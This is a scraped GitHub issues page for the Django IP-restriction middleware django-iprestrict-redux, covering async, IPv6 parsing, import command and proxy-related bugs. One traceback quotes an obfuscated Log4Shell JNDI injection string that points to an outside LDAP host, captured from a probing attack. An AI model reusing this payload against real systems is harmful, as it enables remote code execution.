sztamas / django-iprestrict-redux Goto Github PK
View Code? Open in Web Editor NEWDjango app + middleware to restrict access to all/sections of app by client IP ranges
License: BSD 3-Clause "New" or "Revised" License
Django app + middleware to restrict access to all/sections of app by client IP ranges
License: BSD 3-Clause "New" or "Revised" License
I'm converting my project to be deployed under ASGI with daphne with the Django channels library. I have the IPRestrictMiddleware hooked up in my middleware and after turning on the channels app I started getting this issue
Traceback (most recent call last):
django_1 | File "/usr/local/lib/python3.8/site-packages/channels/staticfiles.py", line 40, in __call__
django_1 | return await self.staticfiles_handler_class()(
django_1 | File "/usr/local/lib/python3.8/site-packages/channels/http.py", line 179, in __init__
django_1 | self.load_middleware()
django_1 | File "/usr/local/lib/python3.8/site-packages/channels/http.py", line 294, in load_middleware
django_1 | super(AsgiHandler, self).load_middleware()
django_1 | File "/usr/local/lib/python3.8/site-packages/django/core/handlers/base.py", line 58, in load_middleware
django_1 | mw_instance = middleware(adapted_handler)
django_1 | File "/code/project/middlewares/ejn_ip_restrict.py", line 7, in __init__
django_1 | self.ip_restrict = IPRestrictMiddleware(get_response)
django_1 | File "/usr/local/lib/python3.8/site-packages/iprestrict/middleware.py", line 17, in __init__
django_1 | self.restrictor = IPRestrictor()
django_1 | File "/usr/local/lib/python3.8/site-packages/iprestrict/restrictor.py", line 12, in __init__
django_1 | self.load_rules()
django_1 | File "/usr/local/lib/python3.8/site-packages/iprestrict/restrictor.py", line 24, in load_rules
django_1 | self.rules = list(Rule.objects.all())
django_1 | File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 262, in __len__
django_1 | self._fetch_all()
django_1 | File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 1324, in _fetch_all
django_1 | self._result_cache = list(self._iterable_class(self))
django_1 | File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 51, in __iter__
django_1 | results = compiler.execute_sql(chunked_fetch=self.chunked_fetch, chunk_size=self.chunk_size)
django_1 | File "/usr/local/lib/python3.8/site-packages/django/db/models/sql/compiler.py", line 1173, in execute_sql
django_1 | cursor = self.connection.cursor()
django_1 | File "/usr/local/lib/python3.8/site-packages/django/utils/asyncio.py", line 24, in inner
django_1 | raise SynchronousOnlyOperation(message)
django_1 | django.core.exceptions.SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async.
This happens because of the DB call in the __init__
of the IPRestrictMiddleware when instantiating the IPRestrictor.
def load_rules(self):
# We are caching the rules, to avoid DB lookup on each request
from .models import Rule
self.rules = list(Rule.objects.all())
self.last_reload = timezone.now()
I can't see anything specific here about middleware https://docs.djangoproject.com/en/4.0/topics/async/ but I assume that any call like DB call is not ideal in the async scope.
I implemented this workaround which delays the instantiation of the class to the process_request
instead which with the help of the django's MiddlewareMixin is implemented to run with the sync_to_async
wrapper.
from django.utils.deprecation import MiddlewareMixin
from iprestrict.middleware import IPRestrictMiddleware
class CustomIPRestrictMiddleware(MiddlewareMixin):
ip_restrict: IPRestrictMiddleware = None
def process_request(self, request):
if self.ip_restrict is None:
self.ip_restrict = IPRestrictMiddleware(self.get_response)
return self.ip_restrict(request)
Any thoughts on moving the DB call away from the __init__
call in the IPRestrictMiddleware and having some similar solution to what I've done?
The middleware is breaking the application when it cannot parse the client's IPv6. In my case, it happened because some script kid was trying to find an exploit, but it has happened before with some exotic search engine crawling my website.
My suggestion would be to just drop the client request whenever this error happens.
Traceback (most recent call last):
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/django/core/handlers/exception.py", line 47, in inner
response = get_response(request)
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/middleware.py", line 36, in __call__
if self.restrictor.is_restricted(url, client_ip):
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/restrictor.py", line 16, in is_restricted
if rule.matches_url(url) and rule.matches_ip(ip):
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 230, in matches_ip
match = typed_ip_group(self.ip_group).matches(ip)
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 99, in matches
if ip in r:
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 165, in __contains__
ip_nr = ipu.to_number(ip)
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 21, in to_number
return ipv6_to_number(ip) if is_ipv6(ip) else ipv4_to_number(ip)
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 30, in ipv6_to_number
ip = convert_mixed(ip)
File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 47, in convert_mixed
raise ValueError(
Exception Type: ValueError at /
Exception Value: Invalid IPv6 address "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//2.13.12.12/TomcatBypass/Command/Base64/HeHeHe=}')". Dotted ipv4 part should be at the end.
REMOTE_ADDR = '172.4.19.22'
Hi,
When I try to run manage.py import_rules base_ip_rules.json the following error occures:
Traceback (most recent call last):
File "/home/app/web/manage.py", line 22, in <module>
main()
File "/home/app/web/manage.py", line 18, in main
execute_from_command_line(sys.argv)
File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 446, in execute_from_command_line
utility.execute()
File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 440, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/usr/local/lib/python3.10/site-packages/django/core/management/base.py", line 414, in run_from_argv
self.execute(*args, **cmd_options)
File "/usr/local/lib/python3.10/site-packages/django/core/management/base.py", line 460, in execute
output = self.handle(*args, **options)
File "/usr/local/lib/python3.10/site-packages/iprestrict/management/commands/import_rules.py", line 22, in handle
call_command("loaddata", *fixtures, **options)
File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 184, in call_command
raise TypeError(
TypeError: Unknown option(s) for loaddata command: fixture. Valid options are: app, app_label, args, database, exclude, force_color, format, help, ignore, ignorenonexistent, no_color, pythonpath, settings, skip_checks, stderr, stdout, traceback, verbosity, version.
I think we need to pop the 'fixture' kwarg from **options so that it is not passed to call_comand().
def handle(self, *args, **options):
fixtures = options.get("fixture", [])
with transaction.atomic():
self.delete_existing_rules()
call_command("loaddata", *fixtures, **options)
Happy to create a PR to fix if this is still being mantained.
Hey guys, I rebuilt from scratch a similar library just much simpler (needs only admin) and can be integrated in my other project django-fast-ratelimit
My project has async support (main reason for rewriting).
Note: it is in an early development state. It hasn't tests.
It can be found here:
$ django-admin import_rules fixture rules.json
Traceback (most recent call last):
File "/usr/local/bin/django-admin", line 11, in <module>
load_entry_point('Django', 'console_scripts', 'django-admin')()
File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 381, in execute_from_command_line
utility.execute()
File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 375, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/base.py", line 323, in run_from_argv
self.execute(*args, **cmd_options)
File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/base.py", line 364, in execute
output = self.handle(*args, **options)
File "/usr/local/lib/python3.6/site-packages/iprestrict/management/commands/import_rules.py", line 22, in handle
call_command("loaddata", *args, **options)
File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 140, in call_command
', '.join(sorted(valid_options)),
TypeError: Unknown option(s) for loaddata command: fixture. Valid options are: app, app_label, args, database, exclude, force_color, format, help, ignore, ignorenonexistent, no_color, pythonpath, settings, skip_checks, stderr, stdout, traceback, verbosity, version.
Data in json file dump with command dumpdata (from docs) without modification.
And this new way of import is not mentioned in docs
Hello,
I tried to use django-iprestrict-redux as an INSTALLED_APP ("iprestrict") on django 3.1.3 running on python 3.7.9 and EVERY page gives me a 403 error for every page that I try to view. When I look at the logs, here's what I see:
Nov 07 16:31:15 beverly-hills-90210 heroku/router at=info method=GET path="/admin/" host=www.REDACTED.com request_id=f82fdec3-118a-4e98-ae42-85affe019621 fwd="52.11.12.20" dyno=web.1 connect=1ms service=969ms status=403 bytes=369 protocol=https
Nov 07 16:31:15 beverly-hills-90210 app/web.1 WARNING:iprestrict.middleware:Client IP 52.11.12.20 forwarded by untrusted proxy 10.159.227.245
Nov 07 16:31:15 beverly-hills-90210 app/web.1 WARNING:django.request:Forbidden (Permission denied): /admin/
Nov 07 16:31:15 beverly-hills-90210 app/web.1 Traceback (most recent call last):
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/django/core/handlers/exception.py", line 47, in inner
Nov 07 16:31:15 beverly-hills-90210 app/web.1 response = get_response(request)
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/sentry_sdk/integrations/django/middleware.py", line 134, in __call__
Nov 07 16:31:15 beverly-hills-90210 app/web.1 return f(*args, **kwargs)
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/sentry_sdk/integrations/django/middleware.py", line 90, in sentry_wrapped_method
Nov 07 16:31:15 beverly-hills-90210 app/web.1 return old_method(*args, **kwargs)
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 34, in __call__
Nov 07 16:31:15 beverly-hills-90210 app/web.1 client_ip = self.extract_client_ip(request)
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 50, in extract_client_ip
Nov 07 16:31:15 beverly-hills-90210 app/web.1 client_ip = self.extract_client_ip_proxied_request(client_ip, forwarded_for)
Nov 07 16:31:15 beverly-hills-90210 app/web.1 File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 66, in extract_client_ip_proxied_request
Nov 07 16:31:15 beverly-hills-90210 app/web.1 raise exceptions.PermissionDenied
Nov 07 16:31:15 beverly-hills-90210 app/web.1 django.core.exceptions.PermissionDenied
Nov 07 16:31:15 beverly-hills-90210 app/web.1 10.159.227.245 - - [07/Nov/2020:14:31:15 -1000] "GET /admin/ HTTP/1.1" 403 135 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36"
In my settings.base.py I have
...
INSTALLED_APPS = [
# 3rd party heroku app - says it should be first
"scout_apm.django",
# 'django.contrib.admin',
"django.contrib.admin.apps.SimpleAdminConfig",
"django.contrib.auth",
"django.contrib.contenttypes",
"django.contrib.sessions",
"django.contrib.messages",
"django.contrib.staticfiles",
"django.contrib.humanize",
#
# third-party apps
#
"adminplus",
"django_celery_beat",
"django_celery_results",
"django_extensions",
"tinymce", # pip install django-tinymce
"rest_framework",
"tastypie", # django-tastypie
"iprestrict", # django-iprestrict-redux
#
# local apps for this program
#
"myapp",
]
MIDDLEWARE = [
# Django security middleware should already be the first thing on the list.
# Never load any middleware before Django security.
"django.middleware.security.SecurityMiddleware",
# "iprestrict.middleware.IPRestrictMiddleware",
# Added for heroku and static files
# 'whitenoise.middleware.WhiteNoiseMiddleware',
"django.contrib.sessions.middleware.SessionMiddleware",
"django.middleware.common.CommonMiddleware",
"django.middleware.csrf.CsrfViewMiddleware",
"django.contrib.auth.middleware.AuthenticationMiddleware",
"django.contrib.messages.middleware.MessageMiddleware",
"django.middleware.clickjacking.XFrameOptionsMiddleware",
"rollbar.contrib.django.middleware.RollbarNotifierMiddleware",
]
IPRESTRICT_GEOIP_ENABLED = False
And in my urls.py, I have:
urlpatterns = [
re_path(r"^iprestrict/", include("iprestrict.urls", namespace="iprestrict")),
path("admin/", admin.site.urls),
path("", include("myapp.urls")),
path("tinymce/", include("tinymce.urls")),
]
Any ideas?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.